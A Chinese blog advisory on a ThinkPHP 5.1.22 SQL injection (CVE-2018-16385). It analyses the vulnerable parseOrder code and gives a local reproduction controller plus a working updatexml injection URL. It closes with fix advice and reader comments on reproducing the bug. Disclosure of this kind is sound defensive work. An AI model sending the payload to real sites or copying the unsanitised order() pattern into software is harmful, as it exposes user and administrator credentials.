【漏洞预警】ThinkPHP v5.1.22曝出SQL注入漏洞

liudao  2023天前

图片.png


0x00 【漏洞预警】ThinkPHP v5.1.22版本曝出SQL注入漏洞

近日,ThinkPHP又曝出SQL注入漏洞,ThinkPHP以前曝出的SQL注入漏洞已经不少了,6月份就曝过“update”和“insert”类型的注入。由于其庞大的用户数量,还是需要重视一下。该漏洞是因为未正确处理所接收数组类型参数的key,直接拼接到了SQL语句的order by后面,导致漏洞的产生。该漏洞可以获取数据库数据,比如用户账号密码,管理后台账号密码,交易数据等。漏洞危害为高危。建议相关用户及时检查是否使用存在漏洞的版本,排查后门,更新版本,避免造成损失。

CVE编号

CVE-2018-16385

受影响版本

版本< 5.1.23

用户分布情况

下面是ThinkPHP全球用户分布情况(非漏洞影响情况),有23w用户。其中中国有18w+用户,美国3.3w用户,其他国家用户相对少得多。

图片.png图片.png

下面是ThinkPHP全国用户分布情况(非漏洞影响情况),浙江有8w+用户,北京2.7w+用户,广东1.1w用户。

图片.png图片.png

漏洞分析

这次漏洞代码位于"/thinkphp/library/think/db/Builder.php"文件中,以下是漏洞代码:

protected function parseOrder($query, $order)
    {
        if (is_array($order)) {
            $array = [];

            foreach ($order as $key => $val) {
                if (is_numeric($key)) {
                    if ('[rand]' == $val) {
                        $array[] = $this->parseRand($query);
                    } elseif (false === strpos($val, '(')) {
                        $array[] = $this->parseKey($query, $val);
                    } else {
                        $array[] = $val;
                    }
                } else {
                    $sort    = in_array(strtolower(trim($val)), ['asc', 'desc']) ? ' ' . $val : '';
                    $array[] = $this->parseKey($query, $key) . ' ' . $sort;
                }
            }

            $order = implode(',', $array);
        }

        return !empty($order) ? ' ORDER BY ' . $order : '';
    }

protected function parseKey($query, $key)
    {
        return $key;
    }

如果我们传入orderby[username|updatexm l(1,concat(0x3a,user()),1)%23]=1,经过“$array[] = $this->parseKey($query, $key) . ' ' . $sort”;这里$sort为空,parseKey方法直接返回$key值!然后“ $order = implode(',', $array);”,这里把数组用逗号合并为字符串,最后经过“return !empty($order) ? ' ORDER BY ' . $order : '';”返回未作任何处理的order by语句。

本地复现

在/application/index/controller/文件夹下建立Index.php文件,内容如下:

<?php
namespace app\index\controller;
class Index{
    public function index()    {
           $data=array();
         $data['username']=array('eq','admin');
        $order=input('get.orderby/a');
        $m=db('user')->where($data)->order($order)->find();
        Sdump($m);
   }
}
?>

然后访问“http://127.0.0.1/public/?orderby[username|updatexm l(1,concat(0x3a,user()),1)%23]=1”),1)%23]=1”) ,即可触发漏洞。

图片.png

修复建议

1 升级ThinkPHP到最新版本

2 部署waf和防火墙等安全防护设备

3 对order by语句处理流程加上数组分支安全校验。

https://github.com/top-think/fr amework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776c

引用

[1] https://mp.weixin.qq.com/s/m6i6XCJ3cFgh1vH4fWO_Sw

最新评论

小千  :  请问有进行试验么,我的TP版本为5.0.7未复现以上漏洞!!!
2022天前 回复
大千  :  复现成功了,数据库配置好了吗
2022天前 回复
小千  :  回复 @ 大千 &nbsp;:&nbsp; 谁?&nbsp; 一看就是熟人 我去!!!
2022天前 回复
老千  :  回复 @ 小千 &nbsp;:&nbsp; 我是路人甲,**你仔细看看数据库配置好没
2022天前 回复
小千  :  回复 @ 老千 &nbsp;:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 数据库配置没问题,你的TP版本是多少?
2022天前 回复
王志君  :  脑子呢? **都说好几次了 获取参数用 input request 之类的!!!
2022天前 回复
有有有  :  回复 input传不了数组吧
2022天前 回复
炸了  :  这些是无关因素,漏洞函数又不在这里
2022天前 回复
行者  :  这算自己的问题,也算tp的问题,但至少我从来不会把没有处理过的参数 放进去直接执行。
2021天前 回复
BaCde  :  你很优秀~
2019天前 回复
123  :  tp3 会有这个问题吗?
2017天前 回复
一二三  :  回复 tp3也存在这个漏洞
2015天前 回复
昵称
邮箱
提交评论